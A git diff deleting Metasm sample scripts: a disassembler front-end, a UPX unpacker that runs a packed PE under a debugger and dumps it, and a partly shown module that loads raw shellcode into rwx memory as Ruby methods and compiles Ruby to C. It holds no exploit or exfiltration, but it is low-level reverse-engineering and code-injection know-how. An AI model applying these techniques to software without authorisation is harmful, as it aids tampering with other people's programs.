#{$!}" - end -} -opts[:hookstr].to_a.each { |f| eval f } - -t1 = Time.now if opts[:benchmark] -# do the work -begin - method = opts[:fast] ? :disassemble_fast_deep : :disassemble - if ARGV.empty? - exe.send(method) - else - exe.send(method, *ARGV.map { |addr| makeint[addr] }) - end -rescue Interrupt - puts $!, $!.backtrace -end -t2 = Time.now if opts[:benchmark] - -if opts[:decompile] - dasm.save_file(opts[:savefile]) if opts[:savefile] - dasm.decompile(*dasm.entrypoints) - tdc = Time.now if opts[:benchmark] -end - -opts[:post_plugin].to_a.each { |p| - begin - dasm.load_plugin p - rescue ::Exception - puts "Error with plugin #{p}: #{$!.class} #{$!}" - end -} - -dasm.save_file(opts[:savefile]) if opts[:savefile] - -# output -if opts[:outfile] - File.open(opts[:outfile], 'w') { |fd| - fd.puts dasm.c_parser if opts[:decompile] - fd.puts "#if 0" if opts[:decompile] - dasm.dump(!opts[:nodata]) { |l| fd.puts l } - fd.puts "#endif" if opts[:decompile] - } -elsif not opts[:savefile] - if opts[:decompile] - puts dasm.c_parser - else - dasm.dump(!opts[:nodata]) - end -end - -t3 = Time.now if opts[:benchmark] - -todate = lambda { |f| - if f > 5400 - "#{f.to_i/3600}h#{(f.to_i%3600)/60}mn" - elsif f > 90 - "#{f.to_i/60}mn#{f.to_i%60}s" - else - "#{'%.02f' % f}s" - end -} - -puts "durations\n load #{todate[t1-t0]}\n dasm #{todate[t2-t1]}#{"\n decomp "+todate[tdc-t2] if tdc}\n output #{todate[t3-(tdc||t2)]}\n total #{todate[t3-t0]}" if opts[:benchmark] diff --git a/lib/metasm/samples/dump_upx.rb b/lib/metasm/samples/dump_upx.rb deleted file mode 100644 index 1839ffbdb0..0000000000 --- a/lib/metasm/samples/dump_upx.rb +++ /dev/null @@ -1,107 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# Original script and idea by Alexandre GAZET -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this script will load an upx-packed windows executable, find its -# original entrypoint by disassembling the UPX stub, set breakpoint on it, -# run the program, and dump the loaded image to an executable PE. -# -# usage: dump_upx.rb <packed.exe> [<dumped.exe>] [<iat (r)va>] [--oep <rva>] -# - -require 'metasm' -include Metasm - -class UPXUnpacker - # loads the file - # find the oep by disassembling - # run it until the oep - # dump the memory image - def initialize(file, oep, iat, dumpfile) - @dumpfile = dumpfile - @dumpfile ||= file.chomp('.exe') + '.dump.exe' - - puts 'disassembling UPX loader...' - pe = PE.decode_file(file) - @baseaddr = pe.optheader.image_base - - @oep = oep - @oep -= @baseaddr if @oep and @oep > @baseaddr # va => rva - @oep ||= find_oep(pe) - raise 'cant find oep...' if not @oep - puts "oep found at #{Expression[@oep]}" if not oep - - @iat = iat - @iat -= @baseaddr if @iat and @iat > @baseaddr - - @dbg = OS.current.create_process(file).debugger - puts 'running...' - debugloop - end - - # disassemble the upx stub to find a cross-section jump (to the real entrypoint) - def find_oep(pe) - dasm = pe.disassemble_fast_deep 'entrypoint' - - return if not jmp = dasm.decoded.find { |addr, di| - # check only once per basic block - next if not di.block_head? - b = di.block - # our target has only one follower - next if b.to_subfuncret.to_a.length != 0 or b.to_normal.to_a.length != 1 - to = b.to_normal.first - # ignore jump to unmmaped address - next if not s = dasm.get_section_at(to) - # ignore jump to same section - next if dasm.get_section_at(di.address) == s - - # gotcha ! - true - } - - # now jmp is a couple [addr, di], we extract and normalize the oep from there - dasm.normalize(jmp[1].block.to_normal.first) - end - - def debugloop - # set up a oneshot breakpoint on oep - @dbg.hwbp(@oep, :x, 1, true) { breakpoint_callback } - @dbg.run_forever - puts 'done' - end - - def breakpoint_callback - puts 'breakpoint hit !' - - # dump the process - # create a genuine PE object from the memory image - dump = LoadedPE.memdump @dbg.memory, @baseaddr, @oep, @iat - - # the UPX loader unpacks everything in sections marked read-only in the PE header, make them writeable - dump.sections.each { |s| s.characteristics |= ['MEM_WRITE'] } - - # write the PE file to disk - # as UPX strips the relocation information, mark the exe to opt-out from ASLR - dump.encode_file @dumpfile, 'exe', false - - puts 'dump complete' - ensure - # kill the process - @dbg.kill - end -end - -if __FILE__ == $0 - fn = ARGV.shift - oep = Integer(ARGV.shift) unless ARGV.empty? - oep = nil if oep == -1 - iat = Integer(ARGV.shift) unless ARGV.empty? - iat = nil if iat == -1 - out = ARGV.shift - abort 'usage: dump <exe> [<oep>] [<iat>] [<outfile>]' if not File.exist?(fn) - UPXUnpacker.new(fn, oep, iat, out) -end diff --git a/lib/metasm/samples/dynamic_ruby.rb b/lib/metasm/samples/dynamic_ruby.rb deleted file mode 100644 index d86e3b5813..0000000000 --- a/lib/metasm/samples/dynamic_ruby.rb +++ /dev/null @@ -1,1938 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# This sample hacks in the ruby interpreter to allow dynamic loading of shellcodes as object methods -# Also it allows raw modifications to the ruby interpreter memory, for all kind of purposes -# Includes methods to dump the ruby parser AST from the interpreter memory -# elf/linux/x86 only - -require 'metasm' - - -module Metasm -class RubyHack < DynLdr - # basic C defs for ruby AST - ruby1.8 only ! - RUBY_INTERN_NODE = <<EOS -struct node { - long flags; - char *file; - long a1; - long a2; - long a3; -}; -#define FL_USHIFT 11 -#define nd_type(n) ((((struct node*)n)->flags >> FL_USHIFT) & 0xff) -EOS - NODETYPE = [ - :method, :fbody, :cfunc, :scope, :block, - :if, :case, :when, :opt_n, :while, - :until, :iter, :for, :break, :next, - :redo, :retry, :begin, :rescue, :resbody, - :ensure, :and, :or, :not, :masgn, - :lasgn, :dasgn, :dasgn_curr, :gasgn, :iasgn, - :cdecl, :cvasgn, :cvdecl, :op_asgn1, :op_asgn2, - :op_asgn_and, :op_asgn_or, :call, :fcall, :vcall, - :super, :zsuper, :array, :zarray, :hash, - :return, :yield, :lvar, :dvar, :gvar, # 50 - :ivar, :const, :cvar, :nth_ref, :back_ref, - :match, :match2, :match3, :lit, :str, - :dstr, :xstr, :dxstr, :evstr, :dregx, - :dregx_once, :args, :argscat, :argspush, :splat, - :to_ary, :svalue, :block_arg, :block_pass, :defn, - :defs, :alias, :valias, :undef, :class, - :module, :sclass, :colon2, :colon3, :cref, - :dot2, :dot3, :flip2, :flip3, :attrset, - :self, :nil, :true, :false, :defined, - :newline, :postexe, :alloca, :dmethod, :bmethod, # 100 - :memo, :ifunc, :dsym, :attrasgn, :last - ] - - new_api_c 'void rb_define_method(uintptr_t, char *, uintptr_t (*)(), int)' - new_api_c 'void *rb_method_node(uintptr_t, unsigned id)' - -class << self - def set_class_method_raw(klass, meth, code, nparams) - memory_perm(str_ptr(code), code.length, 'rwx') - rb_define_method(rb_obj_to_value(klass), meth, code, nparams) - end - - def get_method_node_ptr(klass, meth) - raise "#{klass.inspect} is not a class" if not klass.kind_of? Module - rb_method_node(rb_obj_to_value(klass), meth.to_sym.to_i) - end - - # sets up rawopcodes as the method implementation for class klass - # rawopcodes must implement the expected ABI or things will break horribly - # this method is VERY UNSAFE, and breaks everything put in place by the ruby interpreter - # use with EXTREME CAUTION - # nargs arglist - # -2 self, arg_ary - # -1 argc, VALUE*argv, self - # >=0 self, arg0, arg1.. - def set_method_binary(klass, methodname, raw, nargs=nil) - nargs ||= klass.instance_method(methodname).arity - if raw.kind_of? EncodedData - baseaddr = str_ptr(raw.data) - bd = raw.binding(baseaddr) - raw.reloc_externals.uniq.each { |ext| bd[ext] = sym_addr(0, ext) or raise "unknown symbol #{ext}" } - raw.fixup(bd) - raw = raw.data - end - (@@prevent_gc ||= {})[[klass, methodname]] = raw - set_class_method_raw(klass, methodname.to_s, raw, nargs) - end - - # same as load_binary_method but with an object and not a class - def set_singleton_method_binary(obj, *a) - set_method_binary((class << obj ; self ; end), *a) - end - - def read_method_ast(klass, meth) - read_node get_method_node_ptr(klass, meth) - end - - def read_singleton_method_ast(klass, meth) - klass = (class << klass ; self ; end) - read_method_ast(klass, meth) - end - - def read_node(ptr, cur=nil) - return if ptr == 0 or ptr == 4 - - type = NODETYPE[(memory_read_int(ptr) >> 11) & 0xff] - v1 = memory_read_int(ptr+8) - v2 = memory_read_int(ptr+12) - v3 = memory_read_int(ptr+16) - - case type - when :block, :array, :hash - cur = nil if cur and cur[0] != type - cur ||= [type] - cur << read_node(v1) - n = read_node(v3, cur) - raise "block->next = #{n.inspect}" if n and n[0] != type - cur - when :newline - read_node(v3) # debug/trace usage only - when :if - [type, read_node(v1), read_node(v2), read_node(v3)] - when :cfunc - v2 = {0xffffffff => -1, 0xfffffffe => -2, 0xffffffffffffffff => -1, 0xfffffffffffffffe => -2}[v2] || v2 - [type, {:fptr => v1, # c func pointer - :arity => v2}] - when :scope - [type, {:localnr => (v1 != 0 && v1 != 4 ? memory_read_int(v1) : 0), # nr of local vars (+2 for $_/$~) - :cref => read_node(v2)[1..-1]}, # node, starting point for const/@@var resolution - read_node(v3)] - when :cref - cur = nil if cur and cur[0] != type - cur ||= [type] - cur << rb_value_to_obj(v1) if v1 != 0 and v1 != 4 - n = read_node(v3, cur) - raise "block->next = #{n.inspect}" if n and n[0] != type - cur - when :call, :fcall, :vcall - [type, read_node(v1), v2.id2name, read_node(v3)] - when :dstr - ret = [type, [:str, rb_value_to_obj(v1)]] - if args = read_node(v3) - raise "#{ret.inspect} with args != array: #{args.inspect}" if args[0] != :array - ret.concat args[1..-1] - end - ret - when :zarray - [:array] - when :lasgn - [type, v3, read_node(v2)] - when :iasgn, :dasgn, :dasgn_curr, :gasgn, :cvasgn - [type, v1.id2name, read_node(v2)] - when :masgn - # multiple assignment: a, b = 42 / lambda { |x, y| }.call(1, 2) - # v3 = remainder storage (a, b, *c = ary => v3=c) - [type, read_node(v1), read_node(v2), read_node(v3)] - when :attrasgn - [type, ((v1 == 1) ? :self : read_node(v1)), v2.id2name, read_node(v3)] - when :lvar - [type, v3] - when :ivar, :dvar, :gvar, :cvar, :const, :attrset - [type, v1.id2name] - when :str - # cannot use _id2ref here, probably the parser does not use standard alloced objects - s = memory_read(memory_read_int(v1+12), memory_read_int(v1+16)) - [type, s] - when :lit - [type, rb_value_to_obj(v1)] - when :args # specialcased by rb_call0, invalid in rb_eval - cnt = v3 # nr of required args, copied directly to local_vars - opt = read_node(v1) # :block to execute for each missing arg / with N optargs specified, skip N 1st statements - rest = read_node(v2) # catchall arg in def foo(rq1, rq2, *rest) - [type, cnt, opt, rest] - when :and, :or - [type, read_node(v1), read_node(v2)] # shortcircuit - when :not - [type, read_node(v2)] - when :nil, :true, :false, :self - [type] - when :redo, :retry - [type] - when :case - # [:case, var_test, [:when, cnd, action, [:when, cnd2, action2, else]]] - # => [:case, var_test, [:when, cnd, action], [:when, cnd2, action], else] - cs = [type, read_node(v1), read_node(v2)] - cs << cs[-1].pop while cs[-1][0] == :when and cs[-1][3] - cs - when :when - # [:when, [:array, [test]], then, else] - [type, read_node(v1), read_node(v2), read_node(v3)] - when :iter - # save a block for the following funcall - args = read_node(v1) # assignments with nil, not realized, just to store the arg list (multi args -> :masgn) - body = read_node(v2) # the body statements (multi -> :block) - subj = read_node(v3) # the stuff which is passed the block, probably a :call - [type, args, body, subj] - when :while, :until - [type, read_node(v1), read_node(v2), v3] - when :return, :break, :next, :defined - [type, read_node(v1)] - when :to_ary - [type, read_node(v1)] - when :colon2 - [type, read_node(v1), v2.id2name] - when :colon3 # ::Stuff - [type, v2.id2name] - when :method - [type, v1, read_node(v2), v3] - when :alias - [type, v1, v2, v3] # ? - when :evstr - [type, read_node(v2)] - when :dot2, :dot3 - [type, read_node(v1), read_node(v2)] - when :splat - [type, read_node(v1)] - when :argscat - [type, read_node(v1), read_node(v2), v3] - when :block_pass - # [args, block, receiver]: foo(bar, &baz) => [:bpass, [:array, bar], [:lvar, baz], [:call, 'foo', bar]] (args in v1&v3!) - [type, read_node(v1), read_node(v2), read_node(v3)] - when :block_arg - [type, v1.id2name, v2, v3] - when :ensure - [type, read_node(v1), v2, read_node(v3)] - else - puts "unhandled #{type.inspect}" - [type, v1, v2, v3] - end - end -end # class << self -end - -# a ruby2c C generator for use in the current ruby interpreter -# generates C suitable for shellcode compilation & insertion in the current interpreter -# has hardcoded addresses etc -class RubyLiveCompiler - attr_accessor :cp - - RUBY_H = <<EOS -#{DynLdr::RUBY_H} - -VALUE rb_ivar_get(VALUE, unsigned); -VALUE rb_ivar_set(VALUE, unsigned, VALUE); -VALUE rb_ivar_defined(VALUE, unsigned); -VALUE rb_cvar_get(VALUE, unsigned); -VALUE rb_cvar_set(VALUE, unsigned, VALUE, int); -VALUE rb_gv_get(const char*); -VALUE rb_gv_set(const char*, VALUE); - -VALUE rb_ary_new(void); -VALUE rb_ary_new4(long, VALUE*); -VALUE rb_ary_push(VALUE, VALUE); -VALUE rb_ary_pop(VALUE); -VALUE rb_ary_shift(VALUE); -VALUE rb_hash_new(void); -VALUE rb_hash_aset(VALUE, VALUE, VALUE); -VALUE rb_str_new(const char*, long); -VALUE rb_str_new2(const char*); -VALUE rb_str_cat2(VALUE, const char*); -VALUE rb_str_concat(VALUE, VALUE); -VALUE rb_str_append(VALUE, VALUE); -VALUE rb_obj_as_string(VALUE); -VALUE rb_range_new(VALUE, VALUE, int exclude_end); -VALUE rb_Array(VALUE); // :splat -VALUE rb_ary_to_ary(VALUE); -VALUE rb_hash_aref(VALUE, VALUE); -VALUE rb_funcall3(VALUE, unsigned, int, VALUE*); -VALUE rb_singleton_class(VALUE); -VALUE rb_block_proc(void); -void rb_define_method(VALUE, char *, VALUE (*)(), int); -void *rb_method_node(VALUE, unsigned); -EOS - - class Fail < RuntimeError - end - - def self.compile(klass, *methlist) - @rcp ||= new - methlist.each { |meth| - ast = RubyHack.read_method_ast(klass, meth) - n = @rcp.compile(ast, klass, meth) - next if not n - raw = RubyHack.compile_c(@rcp.cp.dump_definition(n)).encoded - RubyHack.set_method_binary(klass, meth, raw) - } - self - end - - def dump(m=nil) - m ? @cp.dump_definition(m) : @cp.to_s - end - - @@optim_hint = {} - def self.optim_hint; @@optim_hint; end - - attr_accessor :optim_hint - def initialize(cp=nil) - @cp = cp || DynLdr.host_cpu.new_cparser - @cp.parse RUBY_H - @iter_break = nil - @optim_hint = @@optim_hint.dup - end - - # convert a ruby AST to a new C function - # returns the new function name - def compile(ast, klass, meth, singleton=false) - return if not ast - - # TODO handle arbitrary block/yield constructs - # TODO analyse to find/optimize numeric locals that never need a ruby VALUE (ie native int vs INT2FIX) - # TODO detect block/closure exported out of the func & abort compilation - - @klass = klass - @meth = meth - @meth_singleton = singleton - - mname = escape_varname("m_#{@klass}#{singleton ? '.' : '#'}#{@meth}".gsub('::', '_')) - @cp.parse "static void #{mname}(VALUE self) { }" - @cur_cfunc = @cp.toplevel.symbol[mname] - @cur_cfunc.type.type = value # return type = VALUE, w/o 'missing return statement' warning - - @scope = @cur_cfunc.initializer - - case ast[0] - when :ivar # attr_reader - ret = fcall('rb_ivar_get', rb_self, rb_intern(ast[1])) - when :attrset # attr_writer - compile_args(@cur_cfunc, [nil, 1]) - ret = fcall('rb_ivar_set', rb_self, rb_intern(ast[1]), local(2)) - when :scope # standard ruby function - @cref = ast[1][:cref] - if ast[2] and ast[2][0] == :block and ast[2][1] and ast[2][1][0] == :args - compile_args(@cur_cfunc, ast[2][1]) - end - want_value = true - if meth.to_s == 'initialize' and not singleton - want_value = false - end - ret = ast_to_c(ast[2], @scope, want_value) - ret = rb_nil if not want_value - #when :cfunc # native ruby extension - else raise "unhandled function ast #{ast.inspect}" - end - - @scope.statements << C::Return.new(ret) - - mname - end - - # return the arity of method 'name' on self - def method_arity(name=@meth) - @meth_singleton ? @klass.method(name).arity : @klass.instance_method(name).arity - end - - # find the scope where constname is defined from @cref - def resolve_const_owner(constname) - @cref.find { |cr| cr.constants.map { |c| c.to_s }.include? constname.to_s } - end - - # checks if ast maps to a constant, returns it if it does - def check_const(ast) - case ast[0] - when :const - resolve_const_owner(ast[1]) - when :colon2 - if cst = check_const(ast[1]) - cst.const_get(ast[2]) - end - when :colon3 - ::Object.const_get(ast[2]) - end - end - - def compile_args(func, args) - case method_arity - when -1 # args[1] == 0 and (args[2] or args[3]) - compile_args_m1(func, args) - when -2 # args[1] > 0 and (args[2] or args[3]) - compile_args_m2(func, args) - else - # fixed arity = args[1]: VALUE func(VALUE self, VALUE local_2, VALUE local_3) - args[1].times { |i| - v = C::Variable.new("local_#{i+2}", value) - @scope.symbol[v.name] = v - func.type.args << v - } - end - end - - # update func prototype to reflect arity -1 - # VALUE func(int argc, VALUE *argv, VALUE self) - def compile_args_m1(func, args) - c = C::Variable.new("arg_c", C::BaseType.new(:int, :unsigned)) - v = C::Variable.new("arg_v", C::Pointer.new(value)) - @scope.symbol[c.name] = c - @scope.symbol[v.name] = v - func.type.args.unshift v - func.type.args.unshift c - - args[1].times { |i| - local(i+2, C::CExpression[v, :'[]', [i]]) - } - - if args[2] - # [:block, [:lasgn, 2, [:lit, 4]]] - raise Fail, "unhandled vararglist #{args.inspect}" if args[2][0] != :block - args[2][1..-1].each_with_index { |a, i| - raise Fail, "unhandled arg #{a.inspect}" if a[0] != :lasgn - cnd = C::CExpression[c, :>, i] - thn = C::CExpression[local(a[1], :none), :'=', [v, :'[]', [i]]] - els = C::Block.new(@scope) - ast_to_c(a, els, false) - @scope.statements << C::If.new(cnd, thn, els) - } - end - - if args[3] - raise Fail, "unhandled vararglist3 #{args.inspect}" if args[3][0] != :lasgn - skiplen = args[1] + args[2].length - 1 - alloc = fcall('rb_ary_new4', [c, :-, [skiplen]], [v, :+, [skiplen]]) - local(args[3][1], C::CExpression[[c, :>, skiplen], :'?:', [alloc, fcall('rb_ary_new')]]) - end - end - - # update func prototype to reflect arity -2 - # VALUE func(VALUE self, VALUE arg_array) - def compile_args_m2(func, args) - v = C::Variable.new("arglist", value) - @scope.symbol[v.name] = v - func.type.args << v - - args[1].times { |i| - local(i+2, fcall('rb_ary_shift', v)) - } - - # populate arguments with default values - if args[2] - # [:block, [:lasgn, 2, [:lit, 4]]] - raise Fail, "unhandled vararglist #{args.inspect}" if args[2][0] != :block - args[2][1..-1].each { |a| - raise Fail, "unhandled arg #{a.inspect}" if a[0] != :lasgn - t = C::CExpression[local(a[1], :none), :'=', fcall('rb_ary_shift', v)] - e = C::Block.new(@scope) - ast_to_c([:lasgn, a[1], a[2]], e, false) - @scope.statements << C::If.new(rb_ary_len(v), t, e) - } - end - - if args[3] - raise Fail, "unhandled vararglist3 #{args.inspect}" if args[3][0] != :lasgn - local(args[3][1], C::CExpression[v]) - end - end - - # compile a case/when - # create a real C switch() for Fixnums, and put the others === in the default case - # XXX will get the wrong order for "case x; when 1; when Fixnum; when 3;" ... - def compile_case(ast, scope, want_value) - # this generates - # var = stuff_to_test() - # if (var & 1) - # switch (var >> 1) { - # case 12: - # stuff(); - # break; - # default: - # goto default_case; - # } - # else - # default_case: - # if (var == true.object_id || rb_test(rb_funcall(bla, '===', var))) - # foo(); - # else { - # default(); - # } - # - if want_value == true - ret = get_new_tmp_var('case', want_value) - want_value = ret - elsif want_value - ret = want_value - end - - var = ast_to_c(ast[1], scope, want_value || true) - if not var.kind_of? C::Variable - ret ||= get_new_tmp_var('case', want_value) - scope.statements << C::CExpression[ret, :'=', var] - var = ret - end - - # the scope to put all case int in - body_int = C::Block.new(scope) - # the scope to put the if (cs === var) cascade - body_other_head = body_other = nil - default = nil - - ast[2..-1].each { |cs| - if cs[0] == :when - raise Fail if cs[1][0] != :array - - # numeric case, add a case to body_int - if cs[1][1..-1].all? { |cd| cd[0] == :lit and (cd[1].kind_of? Fixnum or cd[1].kind_of? Range) } - cs[1][1..-1].each { |cd| - if cd[1].kind_of? Range - b = cd[1].begin - e = cd[1].end - e -= 1 if cd[1].exclude_end? - raise Fail unless b.kind_of? Integer and e.kind_of? Integer - body_int.statements << C::Case.new(b, e, nil) - else - body_int.statements << C::Case.new(cd[1], nil, nil) - end - } - cb = C::Block.new(scope) - v = ast_to_c(cs[2], cb, want_value) - cb.statements << C::CExpression[ret, :'=', v] if want_value and v != ret - cb.statements << C::Break.new - body_int.statements << cb - - # non-numeric (or mixed) case, add if ( cs === var ) - else - cnd = nil - cs[1][1..-1].each { |cd| - if (cd[0] == :lit and (cd[1].kind_of?(Fixnum) or cd[1].kind_of?(Symbol))) or - [:nil, :true, :false].include?(cd[0]) - # true C equality - cd = C::CExpression[var, :==, ast_to_c(cd, scope)] - else - # own block for ast_to_c to honor lazy evaluation - tb = C::Block.new(scope) - test = rb_test(rb_funcall(ast_to_c(cd, tb), '===', var), tb) - # discard own block unless needed - if tb.statements.empty? - cd = test - else - tb.statements << test - cd = C::CExpression[tb, value] - end - end - cnd = (cnd ? C::CExpression[cnd, :'||', cd] : cd) - } - cb = C::Block.new(scope) - v = ast_to_c(cs[2], cb, want_value) - cb.statements << C::CExpression[ret, :'=', v] if want_value and v != ret - - fu = C::If.new(cnd, cb, nil) - - if body_other - body_other.belse = fu - else - body_other_head = fu - end - body_other = fu - end - - # default case statement - else - cb = C::Block.new(scope) - v = ast_to_c(cs, cb, want_value) - cb.statements << C::CExpression[ret, :'=', v] if want_value and v != ret - default = cb - end - } - - # if we use the value of the case, we must add an 'else: nil' - if want_value and not default - default = C::Block.new(scope) - default.statements << C::CExpression[ret, :'=', rb_nil] - end - - # assemble everything - scope.statements << - if body_int.statements.empty? - if body_other - body_other.belse = default - body_other_head - else - raise Fail, "empty case? #{ast.inspect}" if not default - default - end - else - if body_other_head - @default_label_cnt ||= 0 - dfl = "default_label_#{@default_label_cnt += 1}" - body_other_head = C::Label.new(dfl, body_other_head) - body_int.statements << C::Case.new('default', nil, C::Goto.new(dfl)) - body_other.belse = default if default - end - body_int = C::Switch.new(C::CExpression[var, :>>, 1], body_int) - C::If.new(C::CExpression[var, :&, 1], body_int, body_other_head) - end - - ret - end - - # create a C::CExpr[toplevel.symbol[name], :funcall, args] - # casts int/strings in arglist to CExpr - def fcall(fname, *arglist) - args = arglist.map { |a| (a.kind_of?(Integer) or a.kind_of?(String)) ? [a] : a } - fv = @cp.toplevel.symbol[fname] - raise "need prototype for #{fname}!" if not fv - C::CExpression[fv, :funcall, args] - end - - # the VALUE typedef - def value - @cp.toplevel.symbol['VALUE'] - end - - # declare a new function variable - # no initializer if init == :none - def declare_newvar(name, initializer) - v = C::Variable.new(name, value) - v.initializer = initializer if initializer != :none - @scope.symbol[v.name] = v - @scope.statements << C::Declaration.new(v) - v - end - - # return a string suitable for use as a variable name - # hexencode any char not in [A-z0-9_] - def escape_varname(n) - n.gsub(/[^\w]/) { |c| c.unpack('H*')[0] } - end - - # retrieve or create a local var - # pass :none to avoid initializer - def get_var(name, initializer=:none) - name = escape_varname(name) - @scope.symbol[name] ||= declare_newvar(name, initializer || rb_nil) - end - - # create a new temporary variable - # XXX put_var ? - def get_new_tmp_var(base=nil, var=nil) - return var if var.kind_of? C::Variable - @tmp_var_id ||= 0 - get_var("tmp_#{"#{base}_" if base}#{@tmp_var_id += 1}") - end - - # retrieve/create a new local variable with optionnal initializer - def local(n, init=nil) - get_var "local_#{n}", init - end - - # retrieve/create a new dynamic variable (block argument/variable) - # pass :none to avoid initializer - def dvar(n, init=nil) - get_var "dvar_#{n}", init - end - - # retrieve self (1st func arg) - def rb_self - @scope.symbol['self'] - end - - # returns a CExpr casting expr to a VALUE* - def rb_cast_pvalue(expr, idx) - C::CExpression[[[expr], C::Pointer.new(value)], :'[]', [idx]] - end - - # retrieve the current class, from self->klass - # XXX will segfault with self.kind_of? Fixnum/true/false/nil/sym - def rb_selfclass - rb_cast_pvalue(rb_self, 1) - end - - def rb_nil - C::CExpression[[nil.object_id], value] - end - def rb_true - C::CExpression[[true.object_id], value] - end - def rb_false - C::CExpression[[false.object_id], value] - end - - # call rb_intern on a string - def rb_intern(n) - # use the current interpreter's value - C::CExpression[n.to_sym.to_i] - end - - # create a rb_funcall construct - def rb_funcall(recv, meth, *args) - fcall('rb_funcall', recv, rb_intern(meth), args.length, *args) - end - - # ruby bool test of a var - # assigns to a temporary var, and check against false/nil - def rb_test(expr, scope) - if nil.object_id == 0 or false.object_id == 0 # just to be sure - nf = nil.object_id | false.object_id - C::CExpression[[expr, :|, nf], :'!=', nf] - else - if expr.kind_of? C::Variable - tmp = expr - else - tmp = get_new_tmp_var('test') - scope.statements << C::CExpression[tmp, :'=', expr] - end - C::CExpression[[tmp, :'!=', rb_nil], :'&&', [tmp, :'!=', rb_false]] - end - end - - # generate C code to raise a RuntimeError, reason - def rb_raise(reason, cls='rb_eRuntimeError') - fcall('rb_raise', rb_global(cls), reason) - end - - # return a C expr equivallent to TYPE(expr) == type for non-immediate types - # XXX expr evaluated 3 times - def rb_test_class_type(expr, type) - C::CExpression[[[expr, :>, [7]], :'&&', [[expr, :&, [3]], :==, [0]]], :'&&', [[rb_cast_pvalue(expr, 0), :&, [0x3f]], :'==', [type]]] - end - - # return a C expr equivallent to TYPE(expr) == T_ARRAY - def rb_test_class_ary(expr) - rb_test_class_type(expr, 9) - end - # ARY_PTR(expr) - def rb_ary_ptr(expr, idx=nil) - p = C::CExpression[[rb_cast_pvalue(expr, 4)], C::Pointer.new(value)] - idx ? C::CExpression[p, :'[]', [idx]] : p - end - # ARY_LEN(expr) - def rb_ary_len(expr) - rb_cast_pvalue(expr, 2) - end - - # TYPE(expr) == T_STRING - def rb_test_class_string(expr) - rb_test_class_type(expr, 7) - end - # STR_PTR(expr) - def rb_str_ptr(expr, idx=nil) - p = C::CExpression[[rb_cast_pvalue(expr, 3)], C::Pointer.new(C::BaseType.new(:char))] - idx ? C::CExpression[p, :'[]', [idx]] : p - end - # STR_LEN(expr) - def rb_str_len(expr) - rb_cast_pvalue(expr, 2) - end - - def rb_test_class_hash(expr) - rb_test_class_type(expr, 0xb) - end - - # returns a static pointer to the constant - def rb_const(constname, owner = resolve_const_owner(constname)) - raise Fail, "no dynamic constant resolution #{constname}" if not owner - cst = owner.const_get(constname) - C::CExpression[[RubyHack.rb_obj_to_value(cst)], value] - end - - # compile a :masgn - def rb_masgn(ast, scope, want_value) - raise Fail, "masgn with no rhs #{ast.inspect}" if not ast[2] - raise Fail, "masgn with no lhs array #{ast.inspect}" if not ast[1] or ast[1][0] != :array - if not want_value and ast[2][0] == :array and not ast[3] and ast[2].length == ast[1].length - rb_masgn_optimized(ast, scope) - return nil.object_id - end - full = get_new_tmp_var('masgn', want_value) - ary = ast_to_c(ast[2], scope, full) - scope.statements << C::CExpression[full, :'=', ary] if full != ary - ast[1][1..-1].each_with_index { |e, i| - raise Fail, "weird masgn lhs #{e.inspect} in #{ast.inspect}" if e[-1] != nil - # local_42 = full[i] - e = e.dup - e[-1] = [:rb2cstmt, rb_ary_ptr(full, i)] - ast_to_c(e, scope, false) - } - if ast[3] - raise Fail, "weird masgn lhs #{e.inspect} in #{ast.inspect}" if ast[3][-1] != nil - # local_28 = full[12..-1].to_a - e = ast[3].dup - e[-1] = [:call, [:call, [:rb2cvar, full.name], '[]', [:array, [:dot2, [:lit, ast[1].length-1], [:lit, -1]]]], 'to_a'] - ast_to_c(e, scope, false) - end - - full - end - - def rb_global(cname) - @cp.toplevel.symbol[cname] - end - - # compile an optimized :masgn with rhs.length == lhs.length (no need of a ruby array) - def rb_masgn_optimized(ast, scope) - vars = [] - ast[2][1..-1].each { |rhs| - var = get_new_tmp_var('masgn_opt') - vars << var - r = ast_to_c(rhs, scope, var) - scope.statements << C::CExpression[var, :'=', r] if var != r - } - ast[1][1..-1].each { |lhs| - var = vars.shift - lhs = lhs.dup - raise Fail, "weird masgn lhs #{lhs.inspect} in #{ast.inspect}" if lhs[-1] != nil - lhs[-1] = [:rb2cvar, var.name] - ast_to_c(lhs, scope, false) - } - end - - # the recursive AST to C compiler - # may append C statements to scope - # returns the C::CExpr holding the VALUE of the current ruby statement - # want_value is an optionnal hint as to the returned VALUE is needed or not - # if want_value is a C::Variable, the statements should try to populate this var instead of some random tmp var - # eg to simplify :if encoding unless we have 'foo = if 42;..' - def ast_to_c(ast, scope, want_value = true) - ret = - case ast.to_a[0] - when :block - if ast[1] - ast[1..-2].each { |a| ast_to_c(a, scope, false) } - ast_to_c(ast.last, scope, want_value) - end - - when :lvar - local(ast[1]) - when :lasgn - if scope == @scope - l = local(ast[1], :none) - else - # w = 4 if false ; p w => should be nil - l = local(ast[1]) - end - st = ast_to_c(ast[2], scope, l) - scope.statements << C::CExpression[l, :'=', st] if st != l - l - when :dvar - dvar(ast[1]) - when :dasgn_curr - l = dvar(ast[1]) - st = ast_to_c(ast[2], scope, l) - scope.statements << C::CExpression[l, :'=', st] if st != l - l - when :ivar - fcall('rb_ivar_get', rb_self, rb_intern(ast[1])) - when :iasgn - if want_value - tmp = get_new_tmp_var("ivar_#{ast[1]}", want_value) - scope.statements << C::CExpression[tmp, :'=', ast_to_c(ast[2], scope)] - scope.statements << fcall('rb_ivar_set', rb_self, rb_intern(ast[1]), tmp) - tmp - else - scope.statements << fcall('rb_ivar_set', rb_self, rb_intern(ast[1]), ast_to_c(ast[2], scope)) - end - when :cvar - fcall('rb_cvar_get', rb_selfclass, rb_intern(ast[1])) - when :cvasgn - if want_value - tmp = get_new_tmp_var("cvar_#{ast[1]}", want_value) - scope.statements << C::CExpression[tmp, :'=', ast_to_c(ast[2], scope)] - scope.statements << fcall('rb_cvar_set', rb_selfclass, rb_intern(ast[1]), tmp, rb_false) - tmp - else - scope.statements << fcall('rb_cvar_set', rb_selfclass, rb_intern(ast[1]), ast_to_c(ast[2], scope), rb_false) - end - when :gvar - fcall('rb_gv_get', ast[1]) - when :gasgn - if want_value - tmp = 